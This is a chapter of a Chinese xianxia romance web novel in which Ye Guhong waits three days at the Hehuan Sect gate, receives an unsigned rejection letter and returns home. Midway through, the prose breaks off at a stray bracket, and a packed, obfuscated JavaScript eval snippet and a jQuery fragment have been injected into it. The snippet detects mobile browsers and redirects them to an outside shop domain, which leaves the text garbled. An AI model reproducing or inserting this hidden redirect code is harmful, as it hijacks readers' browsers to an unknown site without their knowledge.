叶孤鸿站在合欢宗的山门前，白衣如雪，身影孤寂。
晨光从他身后升起，将他整个人笼罩在一层薄薄的金色光晕里。他的衣袍边缘被风吹动，像一面正在缓慢展开的旗帜。他手中什么也没有带——没有行礼，没有丹药，没有那只他平日里总是攥着的储物袋。只有一封信，被他紧紧地攥在手中，指节因用力而微微泛白。
他已经站了很久了。从清晨的第一缕光线划破天际，到露水在草叶上慢慢聚拢，再到日光从山门的高处一寸一寸地移下来，在他的肩上缓慢爬过，他始终没有移动过位置。他的姿态像一棵被种错了地方的树，他已经在这里落了根，只是还不知道该往哪个方向生长。
守门的弟子换了三班。第一班的弟子看着他时，语气还算客气：“叶前辈，宗门有规定，外宗修士不得随意入内。”第二班的弟子换了一种语气，依然没有让他进去。第三班的弟子没有上前搭话，他们只是站在门侧，目光不时落在他身上。没有人赶他走，也没有人请他进来。他只是被允许站在那里，像一个已经被确认过不会被收走的物件。
“那我在这里等她。”叶孤鸿说。他的声音不高不低，像在陈述一件已经被确认过的事。守门弟子面面相觑，没有人接话。没有人知道该怎么回应这句话。他只是站在那里，等一个他不会等来的人。
从清晨到正午，从正午到黄昏，再从黄昏到深夜。合欢宗的山门在傍晚时分合拢过一次，又在第二天清晨重新打开。门开了又关，关了又开，像一枚正在缓慢闭合的扇贝。而叶孤鸿始终站在门外的那片空地上，像一艘已经搁浅了很久的船，退潮时没能被带回海中，只能留在那里，等着下一轮潮汐。
第二天清晨，云绾柔站在宗门高处，远远地望向山门的方向。
晨光正从山脊线后涌出来，将整片山谷笼罩在一层薄薄的暖金色里。她的目光穿过那些层叠的屋瓦、穿过廊檐和树梢的间隙，落在了山门外那道白色的身影上。他站在那里，被晨光和露水包裹着，衣袍的下摆已经被露水浸湿了，边缘泛着深色的湿痕。他像是没有感觉，只是像一个被放在窗台边很久的物件。她看见他的影子投在身后的地面上，细长的，安静的，像一枚已经被放置了很久的信物。她忽然很想冲下去，很想推开那扇山门，告诉他——她不是不想见他，是师尊不让她见。她想跟他走，离开这个地方，回到那间弥漫着药香的丹房里，坐在他身边，看他闭着眼调整火候。
可她不能。她在心里说，回去吧。忘了我。找一个值得你爱的人，不要在我身上浪费时间了。
风从山谷那边吹来，穿过她站立的廊檐，吹动她的衣摆和发梢。她站在那里，没有离开，也没有走近。
叶孤鸿在山门外等了三天三夜。期间有几次，弟子们试图给他递水、送饭。他接过去，说了声谢谢，却没有动过。那些食物和清水被原封不动地放在他脚边的石阶上，凉了又换，换了又凉。到了第三天傍晚，暮色正从远处的山脊线上缓慢地蔓延过来，将整座合欢宗笼罩在一片暗金色的光晕里。叶孤鸿站在那里，看着那扇始终没有为他打开过的门。他的目光穿过门缝，像是试图从那条窄窄的缝隙中辨认出什么，即使他知道那道门不会为他敞开。
暮色越来越深了。山门前的灯笼亮了起来，橘红色的光落在他肩头，像一层正在缓慢合拢的暖色余温。他听到脚步声从门内传来。那脚步声不紧不慢，像一个人正沿着一条她已经走过很多次的路向前走。门没有完全打开，一道缝隙里，苏怜幽的声音从门缝中平稳地透了出来：“叶前辈，绾柔不想见你。请你以后不要再来了。”
她没有递出信，只是让人将一封信放在门外的石阶上。那封信被一枚石子压着，折痕端正而齐整，像是已经被存放了很久的旧物。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743282|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
叶孤鸿接过那封信，展开信纸。纸面上没有署名，没有日期，也没有抬头。字迹工整而端正，像是被人仔细抄写过的，只写了短短几行字：“叶前辈，绾柔不想见你。请你以后不要再来了。”
他拿着那封信，手在微微发抖。那些字像一枚枚被放置在桌面上的石子，他已经认出它们的形状了——他知道那是苏怜幽的安排，是合欢宗的规矩，是他永远也无法跨越的一道门。他不相信她真的不想见他。他想起她坐在他身边时微微歪着头的样子，想起她接过他递去的药材时，指尖触到他的指腹，没有立刻缩回。可他没有证据，没有门路，没有任何可以撬开那扇门的办法。他只能站在这里，拿着一封连署名都没有的信，看着那扇已经合拢的门。
他站了很久。久到灯笼里的油燃尽了，久到晨光再次从山脊线后涌出来，将他的影子重新投在身后的地面上。然后他转身，沿着来时的路走了回去。他的步伐比来时慢了很多，每一步都落得很深，像一艘正在缓慢离开港口的船，船身正在一点一点地远离码头，水波在船尾处缓缓合拢。他走了很久。身后那扇山门始终没有为他打开过。
他回到丹霞城的时候，已经是第六天的傍晚了。他没有进丹房，只是在院中那棵老槐树下站了一会儿，像在确认那间丹房是否还记得他回来时该有的温度。他不知道自己还能不能继续坐在那里炼丹了。那些药材、丹炉、被反复调整过的火候——它们还在原处，像一个个等待着他回应的旧问题。可他还没想好该怎么回答它们。他只是站在那里，像一枚已经被退回原处的信件，还没有被拆开，就已经被放回了寄件人的手中。他不知道自己还能不能写出下一封信。他只是站在那里，看着那扇他曾经为她开过无数次的门。那扇门现在关着，他不知道它还会不会再次为他打开。他甚至不确定，当它打开时，他是否还能认出那是它开着的方向。